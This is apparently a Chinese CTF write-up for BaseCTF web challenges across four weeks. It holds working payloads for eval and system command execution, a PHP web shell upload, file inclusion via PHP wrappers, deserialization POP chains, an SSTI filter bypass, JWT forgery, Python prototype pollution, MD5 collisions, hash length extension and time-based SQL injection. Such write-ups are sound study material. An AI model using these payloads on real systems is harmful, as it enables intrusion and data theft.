[Week1] HTTP 是什么呀 这个题考的是http基础知识
项目  
你需要传入  
当前传入值  
是否正确  
 
 
GET 参数 base 
we1c%00me 
 
close (请注意 URL 转义) 
 
POST 参数 base 
fl@g 
 
close 
 
Cookie c00k13 
i can’t eat it 
 
close 
 
用户代理 (User-Agent) 
Base 
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 
close 
 
来源 (Referer) 
Base 
 
close 
 
你的 IP 
127.0.0.1 
10.32.0.0 
close 
 
 
 
首先需要通过get提交basectf的值为we1c%00me,但是需要注意在url里面%00为空格,所以需要通过将%00进行url编码,最后就是%2500 这样就可以?basectf=we1c%2500me
第二个直接通过hackerbar来post提交Base=fl@g即可
由于最后面一个要通过伪造ip地址,需要通过X-Forwarded-For来实现,所以我改为通过用bp来进行
请求报文:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /?basectf=we1c%2500 me HTTP/1.1   Host: challenge.basectf.fun:34690   Cache-Control: max-age=0   Upgrade-Insecure-Requests: 1   User-Agent:Base  Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,image/avif,image/webp,image/apng,/;q=0.8 ,application/signed-exchange;v=b3;q=0.7   Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9   Connection: close  Cookie: c00k13=i can't eat it   Referer: Base  X-Forwarded-For: 127.0.0.1  Content-Type: application/x-www-form-urlencoded  Content-Length: 9 Base=fl@g 
 
success.php?flag=QmFzZUNURnsxOTE1ZDQ0Ni04NzFhLTRjNmUtYTgyOS0xYTgxMTQ0N2QxZWV9Cg==
最后base64解密即可获得flag
[Week1] 喵喵喵´•ﻌ•` 知识点:rce
给出源码
1 2 3 4 5 6 <?php  highlight_file (__FILE__ ); error_reporting (0 ); $a  =$_GET ['DT' ];eval ($a ); ?>  
 
直接提交DT=system(‘cat /*’);即可获得flag
[Week1] md5绕过 知识点:弱比较
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );error_reporting (0 );require  'flag.php' ;if  (isset ($_GET ['name' ]) && isset ($_POST ['password' ]) && isset ($_GET ['name2' ]) && isset ($_POST ['password2' ]) ){  $name  = $_GET ['name' ];  $name2  =$_GET ['name2' ];  $password  =$_POST ['password' ];  $password2  =$_POST ['password2' ];  if  ($name  != $password  && md5 ($name ) == md5 ($password )){    if  ($name2  !== $password2  && md5 ($name2 ) === md5 ($password2 )){        echo  $flag ;    }    else {       echo  "再看看啊,马上绕过嘞!" ;    }   }  else  {     echo  "错啦错啦" ; }}else  {   echo  '没看到参数呐' ;} ?>  
 
第一层直接通过输入name和password两个不同字符串,但是md5值都是以0e开头即可,name2和password2通过数组来进行绕过,或者直接都通过数组绕过也可以
?name=QNKCDZO&name2[]=1
password=240610708&password2[]=2
[Week1] A Dark Room 直接查看源码或者F12得flag
[Week1] upload 知识点:文件上传
绕过方法通过mime绕过,直接修改
Content-Type: image/jpeg
上传1.php
<?php system(‘ls’);?>
来进行绕过,在查看/uploads/1.php得flag
[Week1] Aura 酱的礼物 知识点:php伪协议
<?php highlightfile(_FILE  ); // Aura 酱,欢迎回家~ // 这里有一份礼物,请你签收一下哟~ $pen = $_POST[‘pen’]; if (file_get_contents($pen) !== ‘Aura’) {   die(‘这是 Aura 的礼物,你不是 Aura!’); } // 礼物收到啦,接下来要去博客里面写下感想哦~ $challenge = $_POST[‘challenge’]; if (strpos($challenge, ‘http://jasmineaura.github.io ‘) !== 0) {   die(‘这不是 Aura 的博客!’); } $blog_content = file_get_contents($challenge); if (strpos($blog_content, ‘已经收到Kengwang的礼物啦’) === false) {   die(‘请去博客里面写下感想哦~’); } // 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~ $gift = $_POST[‘gift’]; include($gift);
这里我就不去将代码展开了,首先会通过file_get_contents()函数来获取pen里面得内容,可以通过data伪协议或者php://input写入,然后就是判断http://jasmineaura.github.io是否在challenge参数得开头,再通过file_get_contents($challenge)来发起http请求,查看是否有  已经收到Kengwang的礼物啦 这一句话,这里就可以通过覆盖前面得url来进行绕过通过@符号,最后就是通过php://filter来读取flag.php
pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@challenge.basectf.fun:25499&gift=php://filter/read=convert.base64-encode/resource=flag.php 
再通过base64解码就可以获取flag
[Week2]  ez_ser 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php  highlight_file (__FILE__ ); error_reporting (0 ); class  re  {     public  $chu0 ;      public  function  __toString ( ) {          if (!isset ($this ->chu0)){              return  "I can not believes!" ;          }          $this ->chu0->$nononono ;      }  }  class  web   {     public  $kw ;      public  $dt ;      public  function  __wakeup ( )  {          echo  "lalalla" .$this ->kw;      }      public  function  __destruct ( )  {          echo  "ALL Done!" ;      }  }  class  pwn   {     public  $dusk ;      public  $over ;      public  function  __get ($name  )  {          if ($this ->dusk != "gods" ){              echo  "什么,你竟敢不认可?" ;          }          $this ->over->getflag ();      }  }  class  Misc   {     public  $nothing ;      public  $flag ;      public  function  getflag ( )  {          eval ("system('cat /flag');" );      }  }  class  Crypto   {     public  function  __wakeup ( )  {          echo  "happy happy happy!" ;      }      public  function  getflag ( )  {          echo  "you are over!" ;      }  }  $ser  = $_GET ['ser' ]; unserialize ($ser ); ?> 
 
这里的链子就是
web->re->pwn->misc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php  class  re  {     public  $chu0 ;  }  class  web   {     public  $kw ;      public  $dt ;   }  class  pwn   {     public  $dusk ;      public  $over ;  }  class  Misc   {     public  $nothing ;      public  $flag ;  }  $a =new  web ();$a ->kw=new  re ();$a ->kw->chu0=new  pwn ();$a ->kw->chu0->over=new  Misc ();echo  serialize ($a );O:3 :"web" :2 :{s:2 :"kw" ;O:2 :"re" :1 :{s:4 :"chu0" ;O:3 :"pwn" :2 :{s:4 :"dusk" ;N;s:4 :"over" ;O:4 :"Misc" :2 :{s:7 :"nothing" ;N;s:4 :"flag" ;N;}}}s:2 :"dt" ;N;} 
 
[Week2] 一起吃豆豆 直接查看源码的index.js仔细看就可以的到一个类似加密的密文
解密的flag
[Week2] 你听不到我的声音 1 2 3 <?php  highlight_file (__FILE__ ); shell_exec ($_POST ['cmd' ]);
 
这里直接执行命令没有回显,所以可以通过将命令写入文件来实现
 
[Week2] Really EZ POP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 <?php  highlight_file (__FILE__ ); class  Sink   {     private  $cmd  = 'echo 123;' ;      public  function  __toString ( )       {         eval ($this ->cmd);      }  }  class  Shark   {     private  $word  = 'Hello, World!' ;      public  function  __invoke ( )       {         echo  'Shark says:'  . $this ->word;      }  }  class  Sea   {     public  $animal ;      public  function  __get ($name  )       {         $sea_ani  = $this ->animal;          echo  'In a deep deep sea, there is a '  . $sea_ani ();      }  }  class  Nature   {     public  $sea ;      public  function  __destruct ( )       {         echo  $this ->sea->see;      }  }  if  ($_POST ['nature' ]) {     $nature  = unserialize ($_POST ['nature' ]);  } <?php class  Sink  {    private  $cmd  = 'system("cat /*");' ; } class  Shark  {    private  $word  ;     public  function  __construct ( )      {        $this ->word=new  Sink ;     } } class  Sea  {    public  $animal ; } class  Nature  {    public  $sea ; } $a =new  Nature ();$a ->sea=new  Sea ();$a ->sea->animal=new  Shark ();echo  urlencode (serialize ($a ));
 
在bp中进行提交
1 nature=O%3 A6%3 A%22 Nature%22 %3 A1%3 A%7 Bs%3 A3%3 A%22 sea%22 %3 BO%3 A3%3 A%22 Sea%22 %3 A1%3 A%7 Bs%3 A6%3 A%22 animal%22 %3 BO%3 A5%3 A%22 Shark%22 %3 A1%3 A%7 Bs%3 A11%3 A%22 %00 Shark%00 word%22 %3 BO%3 A4%3 A%22 Sink%22 %3 A1%3 A%7 Bs%3 A9%3 A%22 %00 Sink%00 cmd%22 %3 Bs%3 A17%3 A%22 system%28 %22 cat+%2 F%2 A%22 %29 %3 B%22 %3 B%7 D%7 D%7 D%7 D 
 
[Week2] RCEisamazingwithspace 1 2 3 4 5 6 7 8 9 10 11 <?php  highlight_file (__FILE__ ); $cmd  = $_POST ['cmd' ]; if  (preg_match ('/\s/' , $cmd )) {     echo  'Space not allowed in command' ;      exit ;  }  system ($cmd );
 
这里进行了空格过滤,尝试了一下不能通过%09来绕过,但是${IFS}可以
 
[Week2] 所以你说你懂 MD5? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php  session_start (); highlight_file (__FILE__ ); $apple  = $_POST ['apple' ]; $banana  = $_POST ['banana' ]; if  (!($apple  !== $banana  && md5 ($apple ) === md5 ($banana ))) {     die ('加强难度就不会了?' );  }  $apple  = (string )$_POST ['appple' ]; $banana  = (string )$_POST ['bananana' ]; if  (!((string )$apple  !== (string )$banana  && md5 ((string )$apple ) == md5 ((string )$banana ))) {     die ('难吗?不难!' );  }  $apple  = (string )$_POST ['apppple' ]; $banana  = (string )$_POST ['banananana' ]; if  (!((string )$apple  !== (string )$banana  && md5 ((string )$apple ) === md5 ((string )$banana ))) {     die ('嘻嘻, 不会了? 没看直播回放?' );  }  if  (!isset ($_SESSION ['random' ])) {     $_SESSION ['random' ] = bin2hex (random_bytes (16 )) . bin2hex (random_bytes (16 )) . bin2hex (random_bytes (16 ));  }  $random  = $_SESSION ['random' ]; echo  md5 ($random ); echo  '<br />' ; $name  = $_POST ['name' ] ?? 'user' ; if  (substr ($name , -5 ) !== 'admin' ) {     die ('不是管理员也来凑热闹?' );  }  $md5  = $_POST ['md5' ]; if  (md5 ($random  . $name ) !== $md5 ) {     die ('伪造? NO NO NO!' );  }  echo  "看样子你真的很懂 MD5" ; echo  file_get_contents ('/flag' );加强难度就不会了?
 
这里有四层
第一层直接通过数组绕过即可
 
第二层通过md5值为0e开头的字符串即可
1 appple=s878926199a&bananana=s155964671a 
 
第三层通过强碰撞绕过即可,这里要通过bp不能通过hackbar来传参
1 apppple=%4 d%c9%68 %ff%0 e%e3%5 c%20 %95 %72 %d4%77 %7 b%72 %15 %87 %d3%6 f%a7%b2%1 b%dc%56 %b7%4 a%3 d%c0%78 %3 e%7 b%95 %18 %af%bf%a2%00 %a8%28 %4 b%f3%6 e%8 e%4 b%55 %b3%5 f%42 %75 %93 %d8%49 %67 %6 d%a0%d1%55 %5 d%83 %60 %fb%5 f%07 %fe%a2&banananana=%4 d%c9%68 %ff%0 e%e3%5 c%20 %95 %72 %d4%77 %7 b%72 %15 %87 %d3%6 f%a7%b2%1 b%dc%56 %b7%4 a%3 d%c0%78 %3 e%7 b%95 %18 %af%bf%a2%02 %a8%28 %4 b%f3%6 e%8 e%4 b%55 %b3%5 f%42 %75 %93 %d8%49 %67 %6 d%a0%d1%d5%5 d%83 %60 %fb%5 f%07 %fe%a2 
 
第四层通过就是哈希长度扩展,这里就通过hash-ext-attack-master来自动生成
bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16))这里相当于96位的字符串即密钥
name里面后面要添加admin字符串所以我们需要在后面添加一个以admin结尾的字符串,其它任意,这里就随便为qadmin
这里题目会给一个原始的md5值
这里最后就可以提交的flag
1 apple[]=1 &banana[]=2 &appple=s878926199a&bananana=s155964671a&apppple=%4 d%c9%68 %ff%0 e%e3%5 c%20 %95 %72 %d4%77 %7 b%72 %15 %87 %d3%6 f%a7%b2%1 b%dc%56 %b7%4 a%3 d%c0%78 %3 e%7 b%95 %18 %af%bf%a2%00 %a8%28 %4 b%f3%6 e%8 e%4 b%55 %b3%5 f%42 %75 %93 %d8%49 %67 %6 d%a0%d1%55 %5 d%83 %60 %fb%5 f%07 %fe%a2&banananana=%4 d%c9%68 %ff%0 e%e3%5 c%20 %95 %72 %d4%77 %7 b%72 %15 %87 %d3%6 f%a7%b2%1 b%dc%56 %b7%4 a%3 d%c0%78 %3 e%7 b%95 %18 %af%bf%a2%02 %a8%28 %4 b%f3%6 e%8 e%4 b%55 %b3%5 f%42 %75 %93 %d8%49 %67 %6 d%a0%d1%d5%5 d%83 %60 %fb%5 f%07 %fe%a2&name=%80 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %03 %00 %00 %00 %00 %00 %00 admin&md5=c15df3f0cb8dc43eccdbd0514d79eddb 
 
[Week2] 数学大师 这个就是纯脚本
每一道题目需要在 5 秒内解出, 传入到 $_POST['answer'] 中, 解出 50 道即可, 除法取整
 
本题依赖 session,请在请求时开启 session cookie
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import requests import re import json session=requests.Session () session.cookies.set ("PHPSESSID" ,"bsr9th8eakpubabbiteqrus6uj" ) def calculate_expression (expression):     try :                  return  eval (expression)     except Exception  as  e:         print (f"Error calculating expression {expression}: {e}" )         return  None def extract_and_calculate (expression_string):          expression = expression_string.replace ('×' , '*' ).replace ('÷' , '/' )     print (expression)     match  = re.search ( r'\d+[\-\+\*\/]\d+' , expression)     print (match )     if  match :         exp=match .group (0 )         print (exp)         result = calculate_expression (exp)         return  result     else :         print ("No valid expression found in the string." )         return  None def send_result (result, send_url):     try :         payload = {"answer" : result}         response = session.post (send_url, data=payload)                  data=response.text         print (response.text)         result = extract_and_calculate (data)         if  result is not None:             send_result (result, send_url)     except requests.RequestException as  e:         print (f"Failed to send result: {e}" ) fetch_url = "http://challenge.basectf.fun:45312/"  send_url = "http://challenge.basectf.fun:45312/"  response = session.get (fetch_url) data = response.text   print (data)result = extract_and_calculate (data) if  result is not None:    send_result (result, send_url) 
 
这个是累计50题,所以直接跑就可以
1 2 ?K=DirectoryIterator &W=glob: J=SplFileObject &H=/secret/f11444g.php 
 
[Week3] ez_php_jail 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );error_reporting (0 );include ("hint.html" );$Jail  = $_GET ['Jail_by.Happy' ];if ($Jail  == null ) die ("Do You Like My Jail?" );function  Like_Jail ($var  )  {    if  (preg_match ('/(`|\$|a|c|s|require|include)/i' , $var )) {         return  false ;     }     return  true ; } if  (Like_Jail ($Jail )) {    eval ($Jail );     echo  "Yes! you escaped from the jail! LOL!" ; } else  {     echo  "You will Jail in your life!" ; } echo  "\n" ;?> 
 
首先先看提交的参数,Jail_by.Happy,这个不是一个合法的参数,所以需要对其合理化,将前面的 _ 替换为[即可
1 ?Jail[by.Happy=phpinfo (); 
 
这个就是一个rce,但是这里禁用了很多的东西,可以通过提交 phpinfo(); 来查看信息
这里还禁用了许多的字母和字符,我们就可以通过使用php内置函数来进行绕过
1 2 3 4 ?Jail[by.Happy=print_r (glob ('/f*' )); ?Jail[by.Happy=print_r (implode (glob ('/f*' ))); ?Jail[by.Happy=highlight_file (implode (glob ('/f*' ))); ?Jail[by.Happy=highlight_file (glob ('/f*' )[0 ]); 
 
[Week3] 复读机 这里是一个ssti的漏洞
首先需要在开头以BaseCTF,并且禁用了 双大括号 和 __ 还有许多的常见的关键词,比如config,lipsum,还有url_for
这里就需要通过爆破出可以利用的模块,这里尝试通过os,但是发现没有成功,就只能尝试通过其它的模块来执行
1 {{'' .__class__.__bases__.__subclasses__ ()[137 ].__init__.__globals__['popen' ]('ls /' ).read ()}} 
 
1 2 3 4 5 6 7 8 9 10 import requests for  i in range (500 ):    url = "http://challenge.basectf.fun:40577/flag"      data={'flag' :"BaseCTF{%print(''|attr('_''_cla''ss_''_')|attr('_''_ba''se_''_')|attr('_''_subcl''asses_''_')()|attr('_''_getitem_''_')(" +str (i)+")|attr('_''_in''it_''_')|attr('_''_glo''bals_''_'))%}" }     res = requests.post (url=url,data=data)     if  'popen'  in res.text:         print (i)         break  
 
所以在137这里就有popen,这里就可以通过popen来执行命令
1 BaseCTF{%print ('' |attr ('_' '_cla' 'ss_' '_' )|attr ('_' '_ba' 'se_' '_' )|attr ('_' '_subcl' 'asses_' '_' )()|attr ('_' '_getitem_' '_' )(137 )|attr ('_' '_in' 'it_' '_' )|attr ('_' '_glo' 'bals_' '_' )|attr ('_' '_getit' 'em_' '_' )('po' 'p' 'en' )('ls' ))|attr ('read' )()))%}"}  
 
最面就是通过rce的绕过,/flag,直接通过python的格式化字符串即可进行绕过
1 BaseCTF{%print ('' |attr ('_' '_cla' 'ss_' '_' )|attr ('_' '_ba' 'se_' '_' )|attr ('_' '_subcl' 'asses_' '_' )()|attr ('_' '_getitem_' '_' )(137 )|attr ('_' '_in' 'it_' '_' )|attr ('_' '_glo' 'bals_' '_' )|attr ('_' '_getit' 'em_' '_' )('po' 'p' 'en' )('cat %c%c%c%c%c' %(47 ,102 ,108 ,97 ,103 )))|attr ('read' )()))%}"}  
 
[Week3] 滤个不停 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php  highlight_file (__FILE__ ); error_reporting (0 ); $incompetent  = $_POST ['incompetent' ]; $Datch  = $_POST ['Datch' ]; if  ($incompetent  !== 'HelloWorld' ) {     die ('写出程序员的第一行问候吧!' );  }  $required_chars  = ['s' , 'e' , 'v' , 'a' , 'n' , 'x' , 'r' , 'o' ]; $is_valid  = true ; foreach  ($required_chars  as  $char ) {     if  (strpos ($Datch , $char ) === false ) {          $is_valid  = false ;          break ;      }  }  if  ($is_valid ) {     $invalid_patterns  = ['php://' , 'http://' , 'https://' , 'ftp://' , 'file://'  , 'data://' , 'gopher://' ];      foreach  ($invalid_patterns  as  $pattern ) {          if  (stripos ($Datch , $pattern ) !== false ) {              die ('此路不通换条路试试?' );          }      }      include ($Datch );  } else  {      die ('文件名不合规 请重试' );  }  ?>  
 
这里是一个文件包含,并且不可以通过伪协议来进行读取,它提示我们需要在提交中包含一些字母
1 ['s' , 'e' , 'v' , 'a' , 'n' , 'x' , 'r' , 'o' ] 
 
这里因为不能进行常规的文件包含,所以需要通过包含一些特殊的路径
1 incompetent=HelloWorld&Datch=/var /log/nginx/access.log 
 
所以就可以通过在bp里面进行构造
[Week3] 玩原神玩的 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php highlight_file (__FILE__ );error_reporting (0 );include  'flag.php' ;if  (sizeof ($_POST ['len' ]) == sizeof ($array )) {  ys_open ($_GET ['tip' ]); } else  {   die ("错了!就你还想玩原神?❌❌❌" ); } function  ys_open ($tip  )  {  if  ($tip  != "我要玩原神" ) {     die ("我不管,我要玩原神!😭😭😭" );   }   dumpFlag (); } function  dumpFlag ( )  {  if  (!isset ($_POST ['m' ]) || sizeof ($_POST ['m' ]) != 2 ) {     die ("可恶的QQ人!😡😡😡" );   }   $a  = $_POST ['m' ][0 ];   $b  = $_POST ['m' ][1 ];   if (empty ($a ) || empty ($b ) || $a  != "100%"  || $b  != "love100%"  . md5 ($a )) {     die ("某站崩了?肯定是某忽悠干的!😡😡😡" );   }   include  'flag.php' ;   $flag [] = array ();   for  ($ii  = 0 ;$ii  < sizeof ($array );$ii ++) {     $flag [$ii ] = md5 (ord ($array [$ii ]) ^ $ii );   }   echo  json_encode ($flag ); } 
 
这里先进行一个代码审计
1 sizeof ($_POST ['len' ]) == sizeof ($array ) 
 
这里通过脚本跑出长度
1 2 3 4 5 6 7 8 9 10 11 import  requestsurl="http://challenge.basectf.fun:31395/"  data={} for  i in  range (0 ,100 ):    key = "len["  + str (i) + "]"        data[key] = i     resp=requests.post(url=url,data=data)     if  "</code>我不管,我要玩原神!😭😭😭"  in  resp.text:         print (resp.text)         print (i)         break  
 
然后就是get提交一个tip内容为 我要玩原神
1 2 3 if  ($tip  != "我要玩原神" ) {    die ("我不管,我要玩原神!😭😭😭" );   } 
 
这里后面就要提交一个m,m的长度为2并且m[0]=100%,m[1]=love100%
1 2 3 4 5 $a  = $_POST ['m' ][0 ];$b  = $_POST ['m' ][1 ];if (empty ($a ) || empty ($b ) || $a  != "100%"  || $b  != "love100%"  . md5 ($a )) {  die ("某站崩了?肯定是某忽悠干的!😡😡😡" ); } 
 
这里还是通过脚本来跑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import  requestsurl="http://challenge.basectf.fun:31395/?tip=我要玩原神"  data={} for  i in  range (0 ,100 ):    key = "len["  + str (i) + "]"        data[key] = i                              if  i==44 :         data["m[0]" ]="100%"          data["m[1]" ]="love100%30bd7ce7de206924302499f197c7a966"          resp = requests.post(url=url, data=data)         print (resp.text) 
 
最后就是通过获取flag里面array,这里array()里面的就是flag了,我们需要对其进行逆操作,首先这里获取了array的长度,取其第ii个元素的ascii码值,异或当前的索引进行异或,再取md5值
1 2 3 4 $flag [] = array ();for  ($ii  = 0 ;$ii  < sizeof ($array );$ii ++) {  $flag [$ii ] = md5 (ord ($array [$ii ]) ^ $ii ); } 
 
这里就只能看题解来逆操作解码了,$md5_array是json解码的值,然后就可以对其进行逆操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php highlight_file (__FILE__ );include  'flag.php' ;$challenge_url  = "http://challenge.basectf.fun:31395/?" ;$post  = "" ;for  ($i  = 0 ;$i  < 45 ;$i ++) {  $post  .= "len[]="  . $i  . "&" ; }  $get  = "tip="  . "我要玩原神" ; $post  .= "m[]="  . urlencode ("100%" ) . "&m[]="  . urlencode ("love100%"  . md5 ("100%" ));echo  '<br>'  . 'URL: '  . $challenge_url  . $get  . '<br>' ;echo  'POST Data: '  . $post  . '<br>' ;$curl  = curl_init ();curl_setopt_array ($curl , [  CURLOPT_URL => $challenge_url  . $get ,   CURLOPT_RETURNTRANSFER => true ,   CURLOPT_ENCODING => '' ,   CURLOPT_MAXREDIRS => 10 ,   CURLOPT_TIMEOUT => 30 ,   CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,   CURLOPT_CUSTOMREQUEST => 'POST' ,   CURLOPT_POSTFIELDS => $post ,   CURLOPT_HTTPHEADER => [     'Content-Type: application/x-www-form-urlencoded' ,   ], ]); $response  = curl_exec ($curl );$err  = curl_error ($curl );curl_close ($curl );if  ($err ) die ('cURL Error #:'  . $err );preg_match ('/\[\"(.*?)\"\]/' , $response , $matches );if  (empty ($matches )) die ("Invalid JSON" );$json  = '["'  . $matches [1 ] . '"]' ;echo  "MD5 Array: "  . $json  . '<br>' ;$md5_array  = json_decode ($json , true );$flag  = '' ;for  ($ii  = 0 ; $ii  < count ($md5_array ); $ii ++) {  for  ($ascii  = 0 ; $ascii  < 256 ; $ascii ++) {     if  (md5 ($ascii  ^ $ii ) === $md5_array [$ii ]) {       $flag  .= chr ($ascii );       break ;     }   } } echo  "Flag: "  . $flag ;
 
[Week4] No JWT 这里给出了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from  flask import  Flask, request, jsonifyimport  jwtimport  datetimeimport  osimport  randomimport  stringapp = Flask(__name__) app.secret_key = '' .join(random.choices(string.ascii_letters + string.digits, k=16 )) @app.route('/login' , methods=['POST' ] ) def  login ():    data = request.json     username = data.get('username' )     password = data.get('password' )          token = jwt.encode({             'sub' : username,             'role' : 'user' ,               'exp' : datetime.datetime.utcnow() + datetime.timedelta(hours=1 )         }, app.secret_key, algorithm='HS256' )     return  jsonify({'token' : token}), 200  @app.route('/flag' , methods=['GET' ] ) def  flag ():    token = request.headers.get('Authorization' )          if  token:         try :             decoded = jwt.decode(token.split(" " )[1 ], options={"verify_signature" : False , "verify_exp" : False })                          if  decoded.get('role' ) == 'admin' :                 with  open ('/flag' , 'r' ) as  f:                     flag_content = f.read()                 return  jsonify({'flag' : flag_content}), 200              else :                 return  jsonify({'message' : 'Access denied: admin only' }), 403                       except  FileNotFoundError:             return  jsonify({'message' : 'Flag file not found' }), 404          except  jwt.ExpiredSignatureError:             return  jsonify({'message' : 'Token has expired' }), 401          except  jwt.InvalidTokenError:             return  jsonify({'message' : 'Invalid token' }), 401      return  jsonify({'message' : 'Token is missing' }), 401  if  __name__ == '__main__' :    app.run(debug=True ) 
 
很明显是一个jwt session伪造,这个就比较简单了
首先先拿到一个源session值,如果直接进行访问/login是没有的,它会提示你去提交一份json,这里就可以随便提交一个
这里就可以去伪造session访问/flag了
直接将jwt部分放到https://jwt.io/里面进行伪造 
1 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOm51bGwsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNjMyMDY1N30.B02FczhiqpJleB5rmlcZ8fCVuFfSI4s3KuDCl2KUFpk 
 
最后将构造的payload伪造到请求头即可
1 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOm51bGwsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNjMyMDY1N30.B02FczhiqpJleB5rmlcZ8fCVuFfSI4s3KuDCl2KUFpk 
 
[Week4] flag直接读取不就行了? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file('index.php' ); error_reporting(0 ); $J1ng = $_POST['J' ]; $Hong = $_POST['H' ]; $Keng = $_GET['K' ]; $Wang = $_GET['W' ]; $dir  = new $Keng($Wang); foreach($dir  as  $f) {     echo($f . '<br>' ); } echo new $J1ng($Hong); ?> 
 
这里就是两个类的初始化,但是又不是反序列的题,所以想要读取文件就需要通过php的原生类来读取
首先通过DirectoryIterator来进行目录遍历,配合glob伪协议即可
1 ?K=DirectoryIterator &W=glob: 
 
读取文件就通过SplFileObject,再提交路径即可,最后flag在源码中
1 J=SplFileObject &H=/secret/f11444g.php 
 
[Week4] 圣钥之战1.0 这里提示去读read目录,给出源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from  flask import Flask,requestimport json app = Flask (__name__) def merge (src, dst):     for  k, v in src.items ():         if  hasattr (dst, '__getitem__' ):             if  dst.get (k) and  type (v) == dict:                 merge (v, dst.get (k))             else :                 dst[k] = v         elif hasattr (dst, k) and  type (v) == dict:             merge (v, getattr (dst, k))         else :             setattr (dst, k, v) def is_json (data):     try :         json.loads (data)         return  True     except ValueError:         return  False class  cls ():    def  __init__ (self ):         pass  instance  = cls ()@app .route ('/', methods =['GET ', 'POST ']) def  hello_world ():    return  open ('/static /index .html ', encoding ="utf -8").read () @app .route ('/read ', methods =['GET ', 'POST ']) def  Read ():    file  = open (__file__ , encoding ="utf -8").read ()     return  f "J1ngHong 说:你想read  flag 吗? 那么圣钥之光必将阻止你! 但是小小的源码没事,因为你也读不到flag (乐)  {file}" @app.route('/pollute', methods=['GET', 'POST']) def Pollution():     if request.is_json:         merge(json.loads(request.data),instance)     else:         return " J1ngHong说:钥匙圣洁无暇,无人可以污染!"     return " J1ngHong说:圣钥暗淡了一点,你居然污染成功了?" if __name__ == '__main__':     app.run(host='0.0.0.0',port=80) 
 
这里发现了python原型链污染的函数,还真是一点都不变,这里/static/index.html发现可能存在一个静态的代码文件夹,所以就可以去尝试污染一下静态代码文件夹的位置
1 2 3 4 5 6 7 8 9 10 11 def merge (src, dst):     for  k, v in src.items ():         if  hasattr (dst, '__getitem__' ):             if  dst.get (k) and  type (v) == dict:                 merge (v, dst.get (k))             else :                 dst[k] = v         elif hasattr (dst, k) and  type (v) == dict:             merge (v, getattr (dst, k))         else :             setattr (dst, k, v) 
 
最后的payload就可以得,简单说明一下,通过调用一个类的init 魔术方法再调用globals 获取全局属性,再修改app下的静态目录地址为当前的目录即可
1 2 3 4 5 6 7 8 9 {     "__init__" :{         "__globals__" :{             "app" :{                 "_static_folder" :"./"              }         }     } } 
 
最后就可以直接访问/static/flag获取flag
[Week4] only one sql 1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ );$sql  = $_GET ['sql' ];if  (preg_match ('/select|;|@|\n/i' , $sql )) {    die ("你知道的,不可能有sql注入" ); } if  (preg_match ('/"|\$|`|\\\\/i' , $sql )) {    die ("你知道的,不可能有RCE" ); } $query  = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';"  . $sql  . "\"" ;system ($query );
 
这里刚开始以为可以rce,但是分析发现,输入的语句还在数据库语句中,所以应该只可以进行sql注入
1 2 show tables  show columns from  flag  
 
这里可以先通过show命令来获取基本的信息
这里禁用了select,不能直接获取,就可以尝试通过盲注的方法来进行读取,题解中给出
1 delete from  flag where data like 'B%'  and  sleep (5 ) 
 
%表示匹配任意数量的字符,这样就代表了B开头的字符串
这样就可以通过盲注来进行爆破
